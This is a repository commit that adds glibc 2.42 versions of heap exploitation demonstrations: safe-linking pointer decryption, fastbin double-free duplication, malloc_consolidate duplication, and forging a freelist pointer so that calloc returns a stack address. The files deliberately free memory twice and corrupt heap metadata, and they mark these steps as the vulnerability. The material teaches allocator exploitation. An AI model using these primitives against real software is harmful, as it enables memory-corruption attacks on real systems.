Skip to content

Commit 45a6cd0

Browse files
committed
populate glibc_2.42
1 parent 19ba0e5 commit 45a6cd0

24 files changed

+2767
-1
lines changed

Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
.PHONY: help clean distclean all test
22

3-
VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41
3+
VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42
44
TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c))
55
BASE_BINS := $(patsubst %.c,%,$(wildcard *.c))
66
DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs

glibc_2.42/decrypt_safe_linking.c

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
long decrypt(long cipher)
6+
{
7+
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
8+
puts("because of the 12bit sliding.");
9+
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
10+
long key = 0;
11+
long plain;
12+
13+
for(int i=1; i<6; i++) {
14+
int bits = 64-12*i;
15+
if(bits < 0) bits = 0;
16+
plain = ((cipher ^ key) >> bits) << bits;
17+
key = plain >> 12;
18+
printf("round %d:\n", i);
19+
printf("key: %#016lx\n", key);
20+
printf("plain: %#016lx\n", plain);
21+
printf("cipher: %#016lx\n\n", cipher);
22+
}
23+
return plain;
24+
}
25+
26+
int main()
27+
{
28+
/*
29+
* This technique demonstrates how to recover the original content from a poisoned
30+
* value because of the safe-linking mechanism.
31+
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
32+
* and the key (ASLR slide) is the same to the pointer's leading bits.
33+
* As a result, as long as the chunk where the pointer is stored is at the same page
34+
* of the pointer itself, the value of the pointer can be fully recovered.
35+
* Otherwise, we can also recover the pointer with the page-offset between the storer
36+
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
37+
* For demonstrations of other more general cases, plz refer to
38+
* https://github.com/n132/Dec-Safe-Linking
39+
*/
40+
41+
setbuf(stdin, NULL);
42+
setbuf(stdout, NULL);
43+
44+
// step 1: allocate chunks
45+
long *a = malloc(0x20);
46+
long *b = malloc(0x20);
47+
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
48+
malloc(0x10);
49+
puts("And then create a padding chunk to prevent consolidation.");
50+
51+
52+
// step 2: free chunks
53+
puts("Now free chunk a and then free chunk b.");
54+
free(a);
55+
free(b);
56+
printf("Now the freelist is: [%p -> %p]\n", b, a);
57+
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);
58+
59+
// step 3: recover the values
60+
puts("Now decrypt the poisoned value");
61+
long plaintext = decrypt(b[0]);
62+
63+
printf("value: %p\n", a);
64+
printf("recovered value: %#lx\n", plaintext);
65+
assert(plaintext == (long)a);
66+
}

glibc_2.42/fastbin_dup.c

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
int main()
6+
{
7+
setbuf(stdout, NULL);
8+
9+
printf("This file demonstrates a simple double-free attack with fastbins.\n");
10+
11+
printf("Allocate buffers to fill up tcache and prep fastbin.\n");
12+
void *ptrs[7];
13+
14+
for (int i=0; i<7; i++) {
15+
ptrs[i] = malloc(8);
16+
}
17+
18+
printf("Allocating 3 buffers.\n");
19+
int *a = calloc(1, 8);
20+
int *b = calloc(1, 8);
21+
int *c = calloc(1, 8);
22+
printf("1st malloc(8): %p\n", a);
23+
printf("2nd malloc(8): %p\n", b);
24+
printf("3rd malloc(8): %p\n", c);
25+
26+
printf("Fill up tcache.\n");
27+
for (int i=0; i<7; i++) {
28+
free(ptrs[i]);
29+
}
30+
31+
printf("Freeing the first chunk %p...\n", a);
32+
free(a);
33+
34+
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
35+
// free(a);
36+
37+
printf("So, instead, we'll free %p.\n", b);
38+
free(b);
39+
40+
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
41+
/* VULNERABILITY */
42+
free(a);
43+
/* VULNERABILITY */
44+
45+
printf("In order to use the free list for allocation, we'll need to empty the tcache.\n");
46+
printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.");
47+
printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd");
48+
for (int i = 0; i < 7; i++) {
49+
ptrs[i] = malloc(8);
50+
}
51+
52+
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
53+
puts("Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here.");
54+
a = malloc(8);
55+
b = calloc(1, 8);
56+
c = calloc(1, 8);
57+
printf("1st malloc(8): %p\n", a);
58+
printf("2nd calloc(1, 8): %p\n", b);
59+
printf("3rd calloc(1, 8): %p\n", c);
60+
61+
assert(a == c);
62+
}
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
26+
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27+
a double free to gain control of a tcache sized chunk.
28+
*/
29+
30+
#define CHUNK_SIZE 0x400
31+
32+
int main() {
33+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
35+
36+
void *ptr[7];
37+
38+
for(int i = 0; i < 7; i++)
39+
ptr[i] = malloc(0x40);
40+
41+
void* p1 = malloc(0x40);
42+
printf("Allocate another chunk of the same size p1=%p \n", p1);
43+
44+
printf("Fill up the tcache...\n");
45+
for(int i = 0; i < 7; i++)
46+
free(ptr[i]);
47+
48+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49+
free(p1);
50+
51+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
52+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
53+
printf("a tcache-sized chunk with chunk size 0x410 ");
54+
void* p2 = malloc(CHUNK_SIZE);
55+
56+
printf("p2=%p.\n", p2);
57+
58+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
60+
61+
assert(p1 == p2);
62+
63+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64+
free(p1); // vulnerability (double free)
65+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
66+
67+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
68+
69+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71+
void *p3 = malloc(CHUNK_SIZE);
72+
73+
assert(p3 == p2);
74+
75+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
77+
printf("We have achieved duplication!\n\n");
78+
79+
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
80+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
83+
84+
return 0;
85+
}
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
#include <unistd.h>
5+
6+
int main()
7+
{
8+
setbuf(stdout, NULL);
9+
10+
printf("This file extends on fastbin_dup.c by tricking malloc into\n"
11+
"returning a pointer to a controlled location (in this case, the stack).\n");
12+
13+
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
14+
printf("The address we want calloc() to return is %p.\n", stack_var + 2);
15+
16+
printf("Allocate buffers to fill up tcache and prep fastbin.\n");
17+
void *ptrs[7];
18+
19+
for (int i=0; i<7; i++) {
20+
ptrs[i] = malloc(8);
21+
}
22+
23+
printf("Allocating 3 buffers.\n");
24+
int *a = calloc(1,8);
25+
int *b = calloc(1,8);
26+
int *c = calloc(1,8);
27+
printf("1st calloc(1,8): %p\n", a);
28+
printf("2nd calloc(1,8): %p\n", b);
29+
printf("3rd calloc(1,8): %p\n", c);
30+
31+
printf("Fill up tcache.\n");
32+
for (int i=0; i<7; i++) {
33+
free(ptrs[i]);
34+
}
35+
36+
printf("Freeing the first chunk %p...\n", a);
37+
free(a);
38+
39+
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
40+
41+
printf("So, instead, we'll free %p.\n", b);
42+
free(b);
43+
44+
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
45+
/* VULNERABILITY */
46+
free(a);
47+
/* VULNERABILITY */
48+
49+
printf("In order to use the free list for allocation, we'll need to empty the tcache.\n");
50+
printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.");
51+
printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd");
52+
for (int i = 0; i < 7; i++) {
53+
ptrs[i] = malloc(8);
54+
}
55+
56+
printf("Now the free list has [ %p, %p, %p ]. "
57+
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
58+
unsigned long *d = calloc(1,8);
59+
60+
printf("1st calloc(1,8): %p\n", d);
61+
printf("2nd calloc(1,8): %p\n", calloc(1,8));
62+
printf("Now the free list has [ %p ].\n", a);
63+
printf("Now, we have access to %p while it remains at the head of the free list.\n"
64+
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
65+
"so that calloc will think there is a free chunk there and agree to\n"
66+
"return a pointer to it.\n", a);
67+
puts("Note that this is only needed for calloc. It is not needed for malloc.");
68+
stack_var[1] = 0x20;
69+
70+
printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
71+
printf("Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
72+
printf("^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
73+
unsigned long ptr = (unsigned long)stack_var+0x10;
74+
unsigned long addr = (unsigned long) d;
75+
/*VULNERABILITY*/
76+
*d = (addr >> 12) ^ ptr;
77+
/*VULNERABILITY*/
78+
79+
printf("3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
80+
81+
void *p = calloc(1, 8);
82+
83+
printf("4th calloc(1,8): %p\n", p);
84+
assert((unsigned long)p == (unsigned long)stack_var+0x10);
85+
}

0 commit comments

Comments
 (0)